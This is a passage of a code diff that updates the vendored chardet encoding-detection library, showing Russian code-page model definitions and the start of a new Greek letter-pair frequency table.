-2,0,2,0,0,1,0,3,2,1,2,1,2,2,0,1,0,0,0,2,1,0,0,2,1,1,1,1,0,2,0,2, -2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1, -1,2,2,2,2,1,0,0,1,0,0,0,0,0,2,0,1,1,1,1,0,0,0,0,1,0,1,2,0,0,2,0, -1,0,1,1,1,2,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0, -2,1,2,2,2,0,3,0,1,1,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0, -1,2,2,3,2,2,0,0,1,1,2,0,1,2,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1, -0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, -2,2,1,1,2,1,2,2,2,2,2,1,2,2,0,1,0,0,0,1,2,2,2,1,2,1,1,1,1,1,2,1, -1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1, -1,2,2,2,2,0,1,0,2,2,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0, -0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,2,2,2,2,0,0,0,2,2,2,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1, -0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,2,2,2,2,0,0,0,0,1,0,0,1,1,2,0,0,0,0,1,0,1,0,0,1,0,0,2,0,0,0,1, -0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, -1,2,2,2,1,1,2,0,2,1,1,1,1,0,2,2,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1, -0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -1,0,2,1,2,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0, -0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, -1,0,0,0,0,2,0,1,2,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1, -0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1, -2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0, -0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, -) - -Koi8rModel = { - 'char_to_order_map': KOI8R_char_to_order_map, - 'precedence_matrix': RussianLangModel, - 'typical_positive_ratio': 0.976601, - 'keep_english_letter': False, - 'charset_name': "KOI8-R", - 'language': 'Russian', -} - -Win1251CyrillicModel = { - 'char_to_order_map': win1251_char_to_order_map, - 'precedence_matrix': RussianLangModel, - 'typical_positive_ratio': 0.976601, - 'keep_english_letter': False, - 'charset_name': "windows-1251", - 'language': 'Russian', -} - -Latin5CyrillicModel = { - 'char_to_order_map': latin5_char_to_order_map, - 'precedence_matrix': RussianLangModel, - 'typical_positive_ratio': 0.976601, - 'keep_english_letter': False, - 'charset_name': "ISO-8859-5", - 'language': 'Russian', -} - -MacCyrillicModel = { - 'char_to_order_map': macCyrillic_char_to_order_map, - 'precedence_matrix': RussianLangModel, - 'typical_positive_ratio': 0.976601, - 'keep_english_letter': False, - 'charset_name': "MacCyrillic", - 'language': 'Russian', -} - -Ibm866Model = { - 'char_to_order_map': IBM866_char_to_order_map, - 'precedence_matrix': RussianLangModel, - 'typical_positive_ratio': 0.976601, - 'keep_english_letter': False, - 'charset_name': "IBM866", - 'language': 'Russian', -} - -Ibm855Model = { - 'char_to_order_map': IBM855_char_to_order_map, - 'precedence_matrix': RussianLangModel, - 'typical_positive_ratio': 0.976601, - 'keep_english_letter': False, - 'charset_name': "IBM855", - 'language': 'Russian', -} diff --git a/thirdparty/chardet/langgreekmodel.py b/thirdparty/chardet/langgreekmodel.py index 533222166cc..cc35bcc8a26 100644 --- a/thirdparty/chardet/langgreekmodel.py +++ b/thirdparty/chardet/langgreekmodel.py @@ -1,225 +1,4398 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### +#!/usr/bin/env python +# -*- coding: utf-8 -*- -# 255: Control characters that usually does not exist in any text +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +GREEK_LANG_MODEL = { + 60: { # 'e' + 60: 2, # 'e' + 55: 1, # 'o' + 58: 2, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 55: { # 'o' + 60: 0, # 'e' + 55: 2, # 'o' + 58: 2, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 58: { # 't' + 60: 2, # 'e' + 55: 1, # 'o' + 58: 1, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 1, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 36: { # '·' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 61: { # 'Ά' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 1, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 1, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 46: { # 'Έ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 2, # 'β' + 20: 2, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 1, # 'σ' + 2: 2, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 54: { # 'Ό' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 31: { # 'Α' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 2, # 'Β' + 43: 2, # 'Γ' + 41: 1, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 2, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 1, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 2, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 2, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 1, # 'θ' + 5: 0, # 'ι' + 11: 2, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 2, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 51: { # 'Β' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 1, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 43: { # 'Γ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 1, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 41: { # 'Δ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 1, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 34: { # 'Ε' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 2, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 1, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 2, # 'Χ' + 57: 2, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 1, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 1, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 1, # 'ύ' + 27: 0, # 'ώ' + }, + 40: { # 'Η' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 2, # 'Θ' + 47: 0, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 52: { # 'Θ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 1, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, 